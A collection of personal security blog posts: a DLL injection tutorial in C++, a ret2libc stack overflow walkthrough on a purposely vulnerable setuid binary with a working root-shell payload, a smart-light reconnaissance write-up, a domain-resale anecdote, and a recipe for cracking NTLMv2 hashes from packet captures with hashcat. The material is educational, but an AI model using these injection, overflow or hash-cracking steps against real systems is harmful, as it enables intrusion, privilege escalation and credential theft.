4. And now that we've allocated and reserved enough memory for the DLL path, we can write it into that region of memory of the remote process using the Window's [WriteProcessMemory](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-writeprocessmemory) function. 


 // Copy the DLL path into the allocated memory region.
 bool write_status = WriteProcessMemory(
 	target_process,
 	dll_path_in_remote_mem_addr,
 	dll_path.c_str(),
 	strlen(dll_path.c_str()),
 	NULL
 );
 
 std::cout << "WriteProcessMemory was " << (write_status ? "successful!" : "unsuccessful...") << std::endl;;
 
 if (!write_status) {
 	std::cerr << "GetLastError() for failed WriteProcessMemory() call: " << GetLastError() << std::endl;
 	CloseHandle(target_process);
 	return 1;
 }

5. Next, we'll need to obtain the address to the Window's [LoadLibraryA](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-loadlibrarya) function. This is easily done through the Window's [GetProcAddress](https://docs.microsoft.com/en-us/windows/desktop/api/libloaderapi/nf-libloaderapi-getprocaddress) function.


 // Get the address to the LoadLibraryA Windows API function.
 LPVOID load_library_addr = (LPVOID)GetProcAddress(
 	GetModuleHandle("kernel32.dll"),
 	"LoadLibraryA"
 );
 
 if (load_library_addr == NULL) {
 	std::cerr << "GetProcAddress failed..." << std::endl;
 	CloseHandle(target_process);
 	return 1;
 }
 
 std::cout << "LoadLibraryA address: " << &load_library_addr << std::endl;

6. Create a remote thread via [CreateRemoteThread](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createremotethread) and pass the handle we have on the remote process, the address to LoadLibraryA, and the memory address that our DLL path resides at. LoadLibraryA will be invoked and passed `dll_path_in_remote_mem_addr` by our call to CreateRemoteThread. This is where the magic happens and our DLL is loaded into the process.


 // Create our remote thread for running our DLL code.
 HANDLE remote_thread = CreateRemoteThread(
 	target_process,
 	NULL,
 	NULL,
 	(LPTHREAD_START_ROUTINE)load_library_addr,
 	dll_path_in_remote_mem_addr,
 	NULL,
 	NULL
 );
 
 if (remote_thread == NULL) {
 	std::cerr << "CreateRemoteThread failed..." << std::endl;
 	return 1;
 }
 
 std::cout << "Remote thread address: " << &remote_thread << std::endl;

7. The last thing we do is deallocate the memory that was reserved for our DLL path using [VirtualFreeEx](https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualfreeex) and then close our open handles using [CloseHandle](https://docs.microsoft.com/en-us/windows/desktop/api/handleapi/nf-handleapi-closehandle).


 // Release the allocated memory we acquired from the remote process.
 if (VirtualFreeEx(target_process, dll_path_in_remote_mem_addr, 0, MEM_RELEASE) == 0) {
 	std::cerr << "VirtualFreeEx failed on target process..." << std::endl;
 }
 
 // Free our handle on the remote thread
 CloseHandle(remote_thread);
 
 // Free our handle on the remote process
 CloseHandle(target_process);

Tying our code together and testing it out ~ we run `.\InjectDLL.exe`, then enter the remote target PID, and finally the absolute path to `TestDLL.dll`. Our executable outputs some information about the injection indicating it was successful.  

![](2019/07/2019-05-02-090559_3440x1440_scrot.png "Successful execution of our DLL injector")

Our injector indicated it was successful, but we can double check with Window's [Process Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer). After installing it (if you don't have it installed already) we launch it, make sure the lower pane is visible by toggling it on. This can be achieved by checking the `View -> Show Lower Pane` option. Then, select the remote target process in the list and press the key combination `Ctrl + d`. You should now see a list of loaded DLLs. One of which is our DLL! 

![](2019/07/process-explorer-test-dll-injection-success.png "Using Process Explorer, we can see that our TestDLL.dll file was injected into Game.exe successfully.")

Once we have successfully loaded our DLL into the target process, we can access and reference anything within it's virtual memory space. In part 2, I'll demonstrate an example use case of DLL injection by showing how we can find an in-memory data structure (i.e. the offset to a player structure / class in a game).

The full source code for both the DLL injector and the Test DLL can be found in this [Github](https://github.com/selftaught/DLLinjector) repository.

Thanks for reading through this article! If you notice any issues in the write-up or code - please don't hesitate to message me! You can do so via [keybase](https://keybase.io/th3v0id) or [twitter](https://twitter.com/x74x76).

DLL injection - Developing a simple injector.

A stack buffer overflow occurs when a program writes to a memory address on it's call stack outside of the intended structure / space.

In this walk-through, I'm going to cover the ret2libc (return-to-libc) method. This method of exploitation is great because it doesn't require the use of your typical shellcode. It involves making sys calls to the functions provided to us by libc (standard c library). We're going to use the `system` and `exit` sys calls for demonstration.

To have a good understanding about how stack overflows work, it's extremely helpful to know how stack data structures work, and more importantly - how the call stack works. For the sake of time, I'm not going to type out how these two things work in great detail. If you want to know how these work, I would recommend watching [stack](https://www.youtube.com/watch?v=7dLZRMDcY6c) and [call stack](https://www.youtube.com/watch?v=XbZQ-EonR_I).

## Creating a vulnerable binary to test on

To practice carrying out a SOF, we create a vulnerable binary. The source below uses strcpy with no boundary checking. This is what makes the code vulnerable to a stack overflow attack. strcpy() will take whatever is in argv[1] and copy it into buf. Without boundary checking around strcpy() to make sure the length of argv[1] isn't greater than the width of the buffer, we can overrun the buffer and overwrite assembler instructions with our own.

 #include <string.h>
 #include <unistd.h>
 #include <sys/cdefs.h>
 
 int main(int argc, char** argv) {
 
 setuid(0);
 
 if (argc > 1) {
 char buf[256];
 strcpy(buf, argv[1]);
 }
 
 return 0;
 }
 

For the sake of simplicity and keeping this article to a sane length, I disable common buffer overflow protection (BOP) mechanisms including ASLR, Canaries, and NX bit. PIE and RelRO are disabled on my system by default. I also pass an option along to make the binary 32-bit.

`gcc -g -Wall -mpreferred-stack-boundary=2 -fno-stack-protector -m32 -I. -z execstack -o bin/sof src/sof.c`

- `-g`: Produces debugging information about the program that GDB (GNU Debugger) can use to aid us.
- `-fno-stack-protector`: Disables stack smashing protectors (SSP).
- `-z execstack`: Makes stack frames executable.
- `-o sof`: Output (compiled) binary name will be sof.
- `-mpreferred-stack-boundary=2`: aligns the stack boundary in our binary to 4 bytes.

ASLR can't be disabled via a compiler flag because it's a feature that's carried out and managed by the kernel. On Fedora, Debian, and Ubuntu, ASLR can be disabled by adding `kernel.randomize_va_space = 0` to `/etc/sysctl.conf` or `echo 0 > /proc/sys/kernel/randomize_va_space`. Other linux distributions may require a different approach. An easy way to determine if ASLR is enabled (it likely is if you didn't expliclity disable it) is to `cat /proc/sys/kernel/randomize_va_space`. If the output is a positive number, it's enabled.

## Assembler dump breakdown

Let's disassemble the main function in our binary, break it down, and talk about what happens at an assembler level.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
 ⇒ gdb -q 	bin/sof 
 [*] No debugging session active
 GEF for linux ready, type `gef' to start, `gef config' to configure
 67 commands loaded for GDB Fedora 8.0.1-33.fc27 using Python engine 3.6
 Reading symbols from bin/sof...done.
 @gef➤ disassemble main
 Dump of assembler code for function main:
 0x08048416 <+0>:	push ebp
 0x08048417 <+1>:	mov ebp,esp
 0x08048419 <+3>:	sub esp,0x100
 0x0804841f <+9>:	push 0x0
 0x08048421 <+11>:	call 0x8048300 <setuid@plt>
 0x08048426 <+16>:	add esp,0x4
 0x08048429 <+19>:	cmp DWORD PTR [ebp+0x8],0x1
 0x0804842d <+23>:	jle 0x8048447 <main+49>
 0x0804842f <+25>:	mov eax,DWORD PTR [ebp+0xc]
 0x08048432 <+28>:	add eax,0x4
 0x08048435 <+31>:	mov eax,DWORD PTR [eax]
 0x08048437 <+33>:	push eax
 0x08048438 <+34>:	lea eax,[ebp-0x100]
 0x0804843e <+40>:	push eax
 0x0804843f <+41>:	call 0x80482e0 <strcpy@plt>
 0x08048444 <+46>:	add esp,0x8
 0x08048447 <+49>:	mov eax,0x0
 0x0804844c <+54>:	leave 
 0x0804844d <+55>:	ret 
 End of assembler dump.
 @gef➤ q
 

 0x08048416 <+0>:	push ebp
 0x08048417 <+1>:	mov ebp,esp
 0x08048419 <+3>:	sub esp,0x100
 

These first few lines above are called a function prologue. `push ebp` pushes our base pointer onto the stack. Then `mov ebp,esp` copies the value of `esp` (stack pointer) into the `ebp` register making `ebp` == `esp`. Next, `sub esp,0x100` moves the stack pointer 256 bytes (0x100 hex = 256) towards a lower memory address, reserving 256 bytes of data on the stack. This is space being reserved for `char buf[256]`.

 0x0804841f <+9>:	push 0x0
 0x08048421 <+11>:	call 0x8048300 <setuid@plt>
 

Push 0 onto the stack as an argument for the call to `setuid()`.

 0x08048426 <+16>:	add esp,0x4
 0x08048429 <+19>:	cmp DWORD PTR [ebp+0x8],0x1
 0x0804842d <+23>:	jle 0x8048447 <main+49>
 

The next instruction `cmp DWORD PTR [ebp+0x8],0x1` compares the first argument of main (argc) to 1. The following `jle` instruction uses the result of this comparison. It takes the result and jumps to `<main+39>` if the result is less than or equal to the value stored at `0x8048412`, which is 1. If you look at the C source above, you can see this is essentially our `if (argc >) {...}` condition.

 0x0804842f <+25>:	mov eax,DWORD PTR [ebp+0xc]
 0x08048432 <+28>:	add eax,0x4
 0x08048435 <+31>:	mov eax,DWORD PTR [eax]
 0x08048437 <+33>:	push eax
 

Here, we move the address stored at ebp+0xc into the eax register (this is the address to element 0 of argv). Then, we add 4 bytes to the address stored in the eax register. This results in the address of `argv[1]`. Next, `mov eax,DWORD PTR [eax]` takes the value at `argv[1]` and copies it into the `eax` register. `push eax` pushes this value onto the stack.

 0x08048438 <+34>:	lea eax,[ebp-0x100]
 0x0804843e <+40>:	push eax
 

`lea eax,[ebp-0x100]` calculates the address of `ebp-0x100` and stores the address in `eax`. `push eax` pushes this address onto the stack.

 0x0804843f <+41>:	call 0x80482e0 <strcpy@plt>
 

The `call` instruction does a couple of things. It pushes the address of the instruction immediately following the call instruction onto the stack and then does an unconditional jump to `strcpy@plt`. The reason a return address is pushed onto the stack is so that when `strcpy@plt` finishes executing, the program knows where to return execution.

 0x08048444 <+46>:	add esp,0x8
 0x08048447 <+49>:	mov eax,0x0
 0x0804844c <+54>:	leave 
 0x0804844d <+55>:	ret 
 

These last four instructions are a function epilog. This is just the opposite of a function prologue. Instead of setting up the stack, the epilog cleans up the stack. `add esp,0x8` adds 8 bytes to the address `esp` points to. Then `mov eax,0x0` zeros out whatever is stored in the `eax` register. The `leave` instruction does a couple of things. It releases the stack frame and then copies the base pointer (`ebp`) into `esp`. This releases the space that was allocated to the previous stack frame. Finally, the `ret` instruction pops the return address off the stack and transfers returns execution to the address that was pop'd.

# Exploiting the SOF vulnerability

Now that we have disabled common BOP features and understand the assembler of our vulnerable binary, we will begin exploiting. One of the first things I like to do (after reviewing the assembler dump) is to verify that an overflow exists by triggering a segmentation fault. This is done by providing data to a program which in our case, get's strcpy'd into a fixed width buffer.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
 ⇒ bin/sof $(perl -e 'print "A" x 260')
 [1] 6406 segmentation fault (core dumped) bin/sof $(perl -e 'print "A" x 260')
 

When we strcpy 260 'A' characters into the buffer, we get a segmentation fault. This is because we overwrote the four bytes of memory after the end of our buffer. Segmentation faults are exceptions that get raised by hardware with memory protection. It indicates that something tried writing to a region of memory it shouldn't have.

## Creating the payload

In order to successfully call `system`, we need to place a few different values on the stack, when we overflow the buffer. We need the address of "/bin/sh" found in libc.so, an address that execution will return to when system has finished, and an address to the system call itself.

To get the address to '/bin/sh', we can calculate it by taking the starting address of libc.so and adding the offset of '/bin/sh' to it.

To see the absolute path to the libc.so library that our binary uses, we use `ldd`. This is needed for the next step.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ ldd bin/sof
 	linux-gate.so.1 (0xf7fd2000)
 	libc.so.6 => /lib/libc.so.6 (0xf7deb000)
 	/lib/ld-linux.so.2 (0xf7fd4000)
 
 

Next, we use `strings` to report the offset of any string it finds in libc.so and grep the output for what we're after.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ strings -a -t x /lib/libc.so.6 | grep '/bin/sh' 
 16a23e /bin/sh
 

Running `vmmap` will also provide the starting address of libc.so when ran from a active gdb session.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
 ⇒ gdb -q bin/sof
 
 @gef➤ vmmap
 Start End Offset Perm Path
 0x08048000 0x08049000 0x00000000 r-x /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
 0x08049000 0x0804a000 0x00000000 rwx /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
 0xf7deb000 0xf7fa4000 0x00000000 r-x /usr/lib/libc-2.26.so
 0xf7fa4000 0xf7fa5000 0x001b9000 --- /usr/lib/libc-2.26.so
 0xf7fa5000 0xf7fa7000 0x001b9000 r-x /usr/lib/libc-2.26.so
 0xf7fa7000 0xf7fa8000 0x001bb000 rwx /usr/lib/libc-2.26.so
 0xf7fa8000 0xf7fab000 0x00000000 rwx 
 0xf7fcd000 0xf7fcf000 0x00000000 rwx 
 0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar]
 0xf7fd2000 0xf7fd4000 0x00000000 r-x [vdso]
 0xf7fd4000 0xf7ffc000 0x00000000 r-x /usr/lib/ld-2.26.so
 0xf7ffc000 0xf7ffd000 0x00027000 r-x /usr/lib/ld-2.26.so
 0xf7ffd000 0xf7ffe000 0x00028000 rwx /usr/lib/ld-2.26.so
 0xfffda000 0xffffe000 0x00000000 rwx [stack]
 
 @gef➤ q
 

We calculate the address by taking the start address of `/usr/lib/libc-2.26.so` and add the offset of the string. I like to use `printf` for this. If you use printf in gdb, you have to add `shell` before the command so gdb doesn't try to interpret it as one it provides. Same applies to any shell command you want to run in gdb.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ printf "0x%x\n" $((0xf7deb000 + 0x16a23e)) 
 0xf7f5523e
 

To verify the address is correct, we can evaluate it in gdb, and see what string resides there. It should be '/bin/sh'.

 @gef➤ x/s 0xf7f5523e
 0xf7f5523e:	"/bin/sh"
 

And now, we just need the address of `system`.

 @gef➤ p system
 $1 = {<text variable, no debug info>} 0xf7e2c540 <__libc_system>
 
 @gef➤ q
 

Because I'm on a machine with an Intel processor and I compiled the binary for 32 bit systems, the addresses we found need to be reversed to conform with little-endian notation. If you have a processor that enforces little-endian notation, you will find yourself doing this often. I wrote this [script](https://gist.github.com/selftaught/5ba8e942f68ae38719243de8d07bcaea) that takes a memory address and reverses it.

Reverse system address

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ raddr -a 0xf7e2c540
 \x40\xc5\xe2\xf7
 

Reverse "/bin/sh" string address

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ raddr -a 0xf7f5523e
 \x3e\x52\xf5\xf7
 

And for the return address, we can use anything for the time being.

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
 ⇒ raddr -a 0xdeadc0de
 \xde\xc0\xad\xd
 

We modify the command we ran earlier, adding the reversed addresses onto the end of the payload.

 #
 # [ 260 x "A" characters ][ system() address ][ random address ][ '/bin/sh' address ]
 #
 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xde\xc0\xad\xde" . "\x3e\x52\xf5\xf7"')
 @sh-4.4# whoami
 root
 @sh-4.4# exit
 exit
 [1] 9121 segmentation fault bin/sof 
 

We successfully overflow the buffer, call system with '/bin/sh' as the first arg, and get a shell. This works even despite the fact that when we exit from the shell, we get a segmentation fault. There is a way to exit the shell cleanly without triggering a segfault. What we can do instead of using 0xdeadbeef for our return address is use the `exit` system call address instead. Doing so should give us a clean exit.

 @gef➤ p exit
 $2 = {<text variable, no debug info>} 0xf7e1e8f0 <__GI_exit>
 
 @gef➤ q
 

Reverse exit's address

 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
 ⇒ raddr -a 0xf7e1e8f0 
 \xf0\xe8\xe1\xf7
 

And now replace the invalid return address with it in our payload.

 #
 # [ 260 x "A" characters ][ system() address ][ exit() address ][ '/bin/sh' address ]
 #
 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒ bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xf0\xe8\xe1\xf7" . "\x3e\x52\xf5\xf7"')
 @sh-4.4# whoami
 root
 @sh-4.4# exit
 exit
 th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
 ⇒
 

And get a shell with a clean exit.

## Brief overview of a few common buffer overflow protection mechanisms

- 
ASLR (Address Space Layout Randomization)

- ASLR is a technique used to randomize the address space of programs when they start. This is done by giving program a random start address. This makes exploiting a buffer overflow more difficult because the addresses in the program become unreliable thus making it harder to consistently jump to any given address. Just like any other security mechanisms, ASLR only makes things more difficult. Not impossible.

- 
Canary

- Stack Canaries are used to catch stack overflows before malicious code is executed. These work by modifying function epilog and prologue regions on the stack. If a buffer is overwritten during execution, it's noticed, and results in an exception (hopefully) which bubbles up until it is caught by an exception handler. This is not always successful and there are methods for exploiting this. If you can successfully overwrite the exception handler on the stack (SEH), you can carry out your exploit, completely mitigating canaries.

- 
RELRO (RELocation Read-Only)

- RELRO protection makes the relocation sections that are used to resolve dynamically loaded functions, read-only. Essentially, what this means is that binaries get marked which tells the dynamic linker to resolve all symbols during the start up of a program when it's executed or when a shared library is linked to using dlopen instead of waiting to do resolution when a function is called.

- 
NX bit (Non-executable bit)

- Used to mark certain areas of memory as non-executable. Any processors that support the use of the NX bit will refuse to perform any write operations on marked segments of memory.

- AMD uses the terminology "Enhanced Virus Protection" for the NX bit.
- Intel refers to it as the "XD (eXecute Disabled) bit."
- ARM refers to it as the "XN (eXecute Never) bit."

## Further Reading

- [BOF protection](https://en.wikipedia.org/wiki/Buffer_overflow_protection)
- [Understanding Buffer Overflow Attacks](https://itandsecuritystuffs.wordpress.com/2014/03/18/understanding-buffer-overflows-attacks-part-1/)
- [Stack - Abstract Data Type](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
- [Smashing The Stack For Fun And Profit](http://insecure.org/stf/smashstack.html)
- [0x00 sec](https://0x00sec.org/search?q=stack%20overflow)
- [Black Hat - Difference between BOF preventions and weaknesses](https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf)
- [Exploit Mitigation Techniques - DEP](https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634)
- [Shellblade ret2libc](http://shellblade.net/docs/ret2libc.pdf)
- [x64 ROP](https://0x00sec.org/t/64-bit-rop-you-rule-em-all/1937)
- [UAF heap overflow](https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)
- [NOP sled](https://www.exploit-db.com/papers/13171/)

## Tools

- [GEF - GDB Enhanced Features](https://github.com/hugsy/gef/)
- [SMAP - Shellcode Mapper](https://github.com/rootlabs/smap/)
- [Radare2](https://github.com/radare/radare2/)
- [Cutter - Radare2 QT GUI](https://github.com/radareorg/cutter)
- [MSFvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)
- [pwntools](https://github.com/Gallopsled/pwntools)
- [Unicorn - CPU emulator](http://www.unicorn-engine.org/)

## Cheatsheets

- [Memory Segmentation](https://i.imgur.com/Xe1m6C3.png)
- [Reverse Engineering](https://i.imgur.com/ewrWkEa.png)
- [radare2](https://github.com/radare/radare2/blob/master/doc/intro.md)

## Other

- [Shellcode Database](http://shell-storm.org/shellcode/)
- [GDB documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/)
- [GEF documentation](http://gef.readthedocs.io/en/master/)
- [Linux 32bit syscalls](http://asm.sourceforge.net/syscall.html)

Exploiting a Stack Buffer Overflow (ret2libc method)


Sometimes you go to Target and fall in love with the most stupid and useless yet incredibly cool product you could buy with the spare $100 you don't really have and sometimes you are even lucky enough to find a product that:

1. lights up
2. is connected to the internet

which personally are my two favorite things. Oh, and it's Christmastime?? Enter the Philips Illuminate Starter Kit of 25 C9-sized LED lights. 

While many wi-fi app controlled LED lights come in LED light strip form, these lights in particular come attached to each other on a typical Christmas light string setup, but at the end of the cord about a foot from the plug is a green control box. 25 lights isn't really enough to make a standard Christmas tree look good, so I bought some supplemental lights and hooked these babies up then got them connected to my wifi ASAP. You can buy additional Philips Illuminate branded extension light strings to hook up to your main strand, which maxes out at 300 lights per control box.

![](2018/12/IMG_3415.jpg "a mix of birbs, the colored Philips lights, and a strand of normal lights. note the green control box to the bottom left")

In order to connect to your Philips Illuminate lights, you download the Illuminate app, connect to the wifi the control box emanates, and provide the control box with the login to your home wifi. Once you hook the control box up to your home wifi, everything is all set for app control. The app can do A Bunch of Cool Things, including a huge amount of pre-programmed light patterns, the ability to make your own custom patterns, and a mode where the lights react to your voice... super creepy but great for the cool trick factor. 

The ease of this all means the lights are absolutely worth the sale price of $79.99 (originally $99.99!), right? But it'd be nice to get them to do a little more, or at least be able to deconstruct how they work. After running through the programs available on the app, creating my own programs on the app, and poking around to see if anybody had created a custom firmware for these yet, I got to the point where I started getting a bit more curious about the security of the Philips Illuminate light set. 

First of all, if these things are on my wifi network, they've got to have an IP address and my particular starting point for poking at things on my network is to do an nmap scan:

![](2018/12/image-19.jpg)

Choose whatever nmap scan you want, but this one hits all the ports tcp and udp so you can get a general idea of what the network functions of this device are. From this scan, I've got the easily recognizable port 80 which indicates we can browse to http://192.168.50.37 on my home network and see what's up there. I also see a pretty neat option with port 5577, which led me down a huge rabbit hole. I've never messed with smart home devices before, but apparently port 5577 is a standard control port for issuing commands to networked LED devices with a certain set of controllers. In the UDP zone, there's port 53!! Is this thing running a DNS server? There's also those various high level UDP ports which could offer up some interesting information.

In the interest of keeping things simple, I started with the port 80 web interface. By browsing to the IP address, I got a login prompt where I tried every different formulation of admin/admin, admin/password, root/[blank]... nothing.

![](2018/12/Screen-Shot-2018-12-26-at-10.24.57-AM.jpg "a challenge")

Also note the truly beautiful shade of pink you get upon failed login... the kind of pink that makes you want to attempt more.

![](2018/12/Screen-Shot-2018-12-26-at-10.29.47-AM.jpg "heck.")

At this point I was pretty okay with trying anything I could to get into what I assumed was a web interface to change settings with the lights. Following t[his](https://support.portswigger.net/customer/portal/articles/1964020-using-burp-to-brute-force-a-login-page) article about using Burp to brute force a login page yielded no results. [This](http://tylerrockwell.github.io/defeating-basic-auth-with-hydra/) article about using Hydra to brute force a login page... **also** yielded no results. Double heck! 

***NOTE:*** Both of the brute force options would have worked if I had a certain reversed common username in any of the wordlists I used... remember to use good wordlists, pals. But I didn't, so I carried on.

The next thing I wanted to try was getting a PCAP of the app issuing commands to the lights, because maybe the password would be visible over the wire! At this point I was mistakenly assuming that the app was issuing API calls over port 80 via authenticated HTTP at the very least. I didn't have an easy way right off the bat to grab a PCAP, so I turned to asking people around me what they'd do next. We ended up decompiling the Philips Illuminate APK to try and find the password. It was a really great way to get a crash course in Android app development, but didn't yield any results HTTP login password-wise. I did get a bit more information about these lights though: the original developer is a company called Zengge and also got some model information from examining the APK. I wasn't right about the HTTP posts for the control of the lights, so on to the next option.

Doing more research about port 5577 gave me the confirmation that it was time to put these things on an isolated test network just to be able to make sure nothing else was messing with them and snatch a pcap of opening my app and issuing a series of on-off commands:

![](2018/12/Screen-Shot-2018-12-25-at-4.13.02-PM.jpg "things happening over port 5577!!")

and look! Confirmation that commands are indeed issued over port 5577. But how can you confirm for absolutely certain that it's not just random chatter? Follow the streams:

![](2018/12/Screen-Shot-2018-12-25-at-4.26.26-PM.jpg "Repetitive commands being issued! Hooray!")
 
That's what a series of on-off commands looks like, and here's what a series of switching between the two custom programs I made on the app look like: 

![](2018/12/Screen-Shot-2018-12-25-at-4.36.31-PM.png "a bit more complex")

So as you can see, a bit more complicated when you get into the fancy settings like color changes and fade speeds. When looking through the pcaps for different kinds of requests, there's not a whole bunch more information beyond the promise of the ability to issue totally unauthenticated commands. This makes it unnecessary to have the HTTP page login for the purposes of controlling the lights without the app, but I was still really interested in finding the password. What was that terrible pink 404 error hiding?

Our next port to explore was confirmed as the one interesting artifact I found in the PCAPs I took: this controller randomly spits out the either the ip address, hostname, mac address in a string or every so often a string of "HF-A11ASSISTHREAD" over UDP on port 48899. 

![](2018/12/Screen-Shot-2018-12-26-at-1.46.48-PM.png "a friendly network device")

This didn't correspond with any hostnames, so I immediately threw it into Google and found out some excellent information about the Zengge Lightbulb manufacturing company thanks to [vikstrous on Github](https://github.com/vikstrous/zengge-lightcontrol). This source not only gave me some insight onto what's going on with this magical box and lights, but also the admin/password to login to the web interface (finally)!

What is going on here anyways? What we know at this point is that there's 25 LEDs controlled by a control box. The control box has a wifi card in it which has the ability to not only broadcast but also connect to a wifi network. This card also runs a UART (Universal Asynchronous Receiver/Transmitter) that accepts commands over port 5577. The mysterious port 48899 is the ability to control some options for the device, but lucky for me the default HTTP login found on the internet for the device works!

![](2018/12/Screen-Shot-2018-12-25-at-5.37.14-PM.jpg "Answers!")

Here is where we can configure some cool information about the device's settings for sending and receiving commands, but honestly I'm not even going to touch it – since what I was really hoping for was a web interface to control the lights themselves, not really the device that controls communication to them. 

An additional part of this adventure that doesn't really fit into the rest of the research is that Philips is just the distributor for this product which is made by Seasonal Specialties, a company founded in 1996. [Seasonal Specialities](http://www.seasonalspecialties.com) has a website that was created in Microsoft Frontpage 5.0 but also a [wordpress with a default login page](http://www.seasonalspecialties.com/wp/wp-login.php) operating on the same web host. Yikes. These details tell me security isn't exactly a major concern at Seasonal Specialities, yet these lights are a really nicely made product so I would like to tell them to please start caring! If you go through all of the trouble to rebrand the Zenegge light parts into something that becomes a well-constructed nicely working set of Christmas lights, why not go the extra mile and figure out how to cover up their lack of security? 

Luckily, I've got what I need to start creating the foundation for controlling the lights without the Philips Illuminate app. I have a model of UART Controller and lights, I know that the commands aren't sent with any authentication, and I could conceivably find a way to send commands via my Raspberry Pi or create my own web interface for their control. Simply telnetting to port 5577 and repeating the same strings observed in the PCAP back at the device doesn't really work... So now it's just a matter of finding out what packages are out there to interact with this controller or building my own. I'm also tempted to see if any of the [OpenHab](https://www.openhab.org/addons/bindings/wifiled/) extensions can play nice with these lights. Either way, I haven't really hacked my Christmas lights, I just found out a TON of information about how they work and function. The true hack will come when I find a way to make them work without their intended supporting software. 

Thanks to some sources:

[https://www.jpelectron.com/sample/Electronics/WiFi%20LED%20control/](https://www.jpelectron.com/sample/Electronics/WiFi%20LED%20control/)

[https://github.com/renebohne/wifirgbcontroller](https://github.com/renebohne/wifirgbcontroller)

[https://www.openhab.org/addons/bindings/wifiled/](https://www.openhab.org/addons/bindings/wifiled/)

[https://github.com/vikstrous/zengge-lightcontrol](https://github.com/vikstrous/zengge-lightcontrol)


i didn't hack my christmas tree lights


I buy domains. I buy stupid domains. I buy cheap domains. Put this together, mix it with mild recklessness towards my own finances, and you get hundreds of stupid domains. At one point my namecheap.com account held over ****150**** domains.

Here's some highlights of some of the more **safe-for-work** domains

- botnet.party
- grubby.site
- heckin.download
- illegal.space
- malicious.tech
- malware.loan
- totallynotavirus.download (my fav)
- phishing.download
- rootkit.download
- trustworthy.website
- legit.host
- [cont]

I mainly buy these domains for stupid projects, ideas, etc. One project idea was buy as many $0.88 domains from namecheap (bless), and make a shady url  generator. Others were just to creep people out with emails, such as uj893mw94@totallynotavirus.download.

On August 11th, 2017, I bought a bunch of domains. One of these domains, was ******eggplant.tech, ******purchased for $0.88 cents. A fairly harmless domain, to be used in conjunction with whatever I was working on at the time.

![](2018/12/image-14.png "Domain purchase of eggplant.tech for $0.88")

For months, this domain sat doing nothing, along with **many** of the other domains I have aquired. I mean, what do you do with eggplant.tech anyways? Well, someone had an idea in mind. And money. I have never directly listed domains for sale, but that doesn't stop the internet from wanting to buy stupid things. I know this pretty well.

On Febuary 12th, I got this email.

![](2018/12/image-15.png "Domain offer for eggplant.tech for !$300!")

$****300 dollars. For eggplant.tech, a domain I bought for **eighty-eight cents. ******What do you do in a situation like this? **SELL IT.** You sell that as fast as possible.

![](2018/12/image-16.png "Paypal for $300")

A few weeks later, the domain is transfered, and the money in my paypal. Whoever the brave, stupid soul that paid $300 for eggplant.tech is; god bless you man. I hope you do something interesting with it, because I sure won't.

UPDATE:
The domain owner has still not update DNS records. The domain eggplant.tech still points to an unprovisioned server of mine.

![](2018/12/image-17.png)


How I accidentally became a domain broker


1. Open your .pcap that contains an NTLMv2 hash in Wireshark.
2. Filter by ntlmssp to get the authentication handshake.

![](2018/12/image-3.jpg "artisanal smb2 authentication packets")

3. In this case, we get three packets. Find the NTLMSSP_AUTH packet. Filter the packet down to the Security Blob layer to get to the juicy good stuff:

![](2018/12/image-5.png "the goods")

4. Copy out the domain name and user name to a text document.

5. Drill down into the NTLM Response section to find NTProofStr and NTLMv2 response. Copy both of these out to the text document as a Hex String. 

![](2018/12/image-6.jpg "cross the streams")

6. Notice that NTLMv2Response begins with the ntlmProofStr, so delete the ntlmProofStr from the NTLMv2Response.

![](2018/12/image-7.jpg)

7. Enter ntlmssp.ntlmserverchallenge into the search filter. This will highlight the packet where the NTLM Server Challenge is found, generally the packet before the NTLM_Auth packet. Copy this value to the text document as a Hex String. 

![](2018/12/image-8.jpg)

8. Put the values into the following format and save it as crackme.txt: 

username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response

![](2018/12/image-12.png)

9. Find your favorite password list (RockYou? best_1000_passwords2018.txt?) and open a terminal to use hashcat to run:

> hashcat -m 5600 crackme.txt passwordlist.txt 

and it will give you the user's password!

![](2018/12/image-13.png "congrats on the hax!")

sources for more information:

- [https://www.root9b.com/newsroom/attacking-windows-fallback-authentication/](https://www.root9b.com/newsroom/attacking-windows-fallback-authentication/)
- [https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)


A 9-step recipe to crack a NTLMv2 Hash from a freshly acquired .pcap


